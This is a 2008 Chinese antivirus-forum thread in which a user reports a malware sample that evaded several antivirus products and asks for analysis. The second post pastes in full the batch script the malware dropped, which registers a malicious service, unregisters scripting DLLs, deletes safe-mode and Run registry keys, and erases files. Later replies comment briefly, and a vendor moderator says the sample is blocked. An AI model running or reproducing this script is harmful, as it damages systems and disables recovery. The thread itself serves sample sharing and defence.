微点交流论坛
» 游客:  注册 | 登录 | 帮助

 微点交流论坛 » 反病毒 » 什么病毒如此牛B？？越红伞，过卡巴，所向无敌!!!  

作者:
标题: 什么病毒如此牛B？？越红伞，过卡巴，所向无敌!!!
小鱼儿
新手上路





积分 24
发帖 20
注册 2008-3-4
#1  什么病毒如此牛B？？越红伞，过卡巴，所向无敌!!!

在深度样本区发现一个病毒样本链接，号称过了卡巴、红伞，我用的NOD32经测试也被过了，但微点报未知病毒，并说它试图修改系统时间，也被微点阻止了，但在进程中多了个oky.exe进程，用微点的进程管理无法结束它，任务管理器也无法终止此进程，最后用金山清理专家的在线系统诊断功能才把它给干掉了，目前未发现系统有何不良反映，请微点测试并改进，呵呵，强力支持微点。
  
  　昨天（4月1日）又测试了下，微点已能完全拦截此病毒，注册表未再被修改，批处理也未能运行。

[ Last edited by 小鱼儿 on 2008-4-2 at 13:13 ]

※ ※ ※ 本文纯属【小鱼儿】个人意见，与【 微点交流论坛 】立场无关※ ※ ※
2008-3-30 16:17
查看资料  发送邮件  发短消息   编辑帖子
小鱼儿
新手上路





积分 24
发帖 20
注册 2008-3-4
#2  新发现

在C盘根目录下发现多了2个批处理文件，一个好象是要删除所有硬盘分区下的GHOST备份文件（呵呵，俺早就改名字了，你去删除吧，看你删得到什么*_^），另一个批处理文件好象是要改时间，别的看不懂（我是菜鸟）把内容发上来版主帮分析下：19040
30565
5120
17501
3365
8162
date 2004-08-17
28769
time 20:00:00
ping 127.0.0.1 -n 5
sc.exe create driverssVGAdriver BinPath= "C:\WINDOWS\system32\driverssVGAdriver.exe -kills" type= own type= interact start= auto DisplayName= driverssVGAdriver taskmasterdater
sc.exe description driverssVGAdriver 如果服务被禁用，任何直接依赖于此服务的服务将无法启动
regsvr32.exe /u /s scrrun.dll
regsvr32.exe /u /s shimgvw.dll
regsvr32.exe /u /s itss.dll
regsvr32.exe /u /s vbscript.dll
regsvr32.exe /s jscript.dll
reg.exe delete HKLM\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318} /F
reg.exe delete HKLM\SYSTEM\ControlSet001\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318} /F
reg.exe delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318} /F
reg.exe delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318} /F
reg.exe delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /F
25576
sc.exe start driverssVGAdriver
del "C:\WINDOWS\Media\Windows XP 开始.wav"
del "C:\WINDOWS\Media\Windows XP 信息栏.wav"
del "C:\WINDOWS\Media\Windows XP 弹出窗口已阻止.wav"
regsvr32.exe /s C:\WINDOWS\system32\taskmasterdater.dll
ping 127.0.0.1 -n 6
del "C:\Documents and Settings\Administrator\桌面\oky\oky.exe" /F
19040
30565
date 2008-03-30
time 15:49:00

del %0

※ ※ ※ 本文纯属【小鱼儿】个人意见，与【 微点交流论坛 】立场无关※ ※ ※
2008-3-30 16:31
查看资料  发送邮件  发短消息   编辑帖子
gudan
高级用户





积分 605
发帖 579
注册 2007-7-20
#3  

很强大

※ ※ ※ 本文纯属【gudan】个人意见，与【 微点交流论坛 】立场无关※ ※ ※
2008-3-30 16:33
查看资料  发短消息   编辑帖子
images
银牌会员





积分 1429
发帖 1376
注册 2007-11-17
#4  

修改系统时间
添加服务及说明

del "C:\Documents and Settings\Administrator\桌面\oky\oky.exe" /F
貌似自己删除了。

※ ※ ※ 本文纯属【images】个人意见，与【 微点交流论坛 】立场无关※ ※ ※

All accepted English
For a slim figure, share your food with the hungry. 给images发短消息
2008-3-31 11:56
查看资料  发短消息   编辑帖子
408983504
银牌会员

此用户已被禁言


积分 1271
发帖 1238
注册 2007-1-6
来自 广东
#5  

厉害~~

※ ※ ※ 本文纯属【408983504】个人意见，与【 微点交流论坛 】立场无关※ ※ ※

三用户版续费真TM的便宜啊！
2008-3-31 12:11
查看资料  发送邮件  发短消息  QQ   编辑帖子
terminus
中级用户




积分 221
发帖 218
注册 2007-2-11
来自 Mp.G
#6  

注册了脚本
不知道楼主能不能给个样本呢

※ ※ ※ 本文纯属【terminus】个人意见，与【 微点交流论坛 】立场无关※ ※ ※

[color=blue]不能給她幸福 就不要妨礙別人給她幸福[/color]
2008-4-1 14:12
查看资料  发短消息  QQ   编辑帖子
Legend
超级版主

超级版主



积分 77171
发帖 70170
注册 2005-10-29
#7  

感谢楼主的反馈，该样本微点可以有效的拦截并清除，请楼主可以将您的微点更新到最新试试，如果还是无法拦截，请楼主将微点的版本和微点的技术支持信息（微点主界面-->辅助功能-->生成技术支持信息）发给我们，我们根据您的情况具体测试分析。

※文章所有权归【Legend】与【东方微点论坛】共同所有，转载请注明出处！※

微点官方认证新浪微博：欢迎进入 微点新浪微博
微点技术支持邮箱: support@micropoint.com.cn
给Legend发短消息
2008-4-2 11:16
查看资料  发短消息   编辑帖子
微点卫士
银牌会员




积分 1198
发帖 1176
注册 2006-6-19
来自 上海市松江区
#8  

实机测试嗒，厉害哦

※ ※ ※ 本文纯属【微点卫士】个人意见，与【 微点交流论坛 】立场无关※ ※ ※

[img]http://v.t.qq.com/cgi-bin/signature?name=mpguard&sign=26fc347cc5c2e739a337896675ca533cb68324b6&type=2[/img]
2008-4-2 11:43
查看资料  发送邮件  发短消息  QQ   编辑帖子



论坛跳转:

可打印版本 | 推荐 | 订阅 | 收藏


[ 联系我们 - 东方微点 ]

北京东方微点信息技术有限责任公司 福建东方微点信息安全有限责任公司

闽ICP备05030815号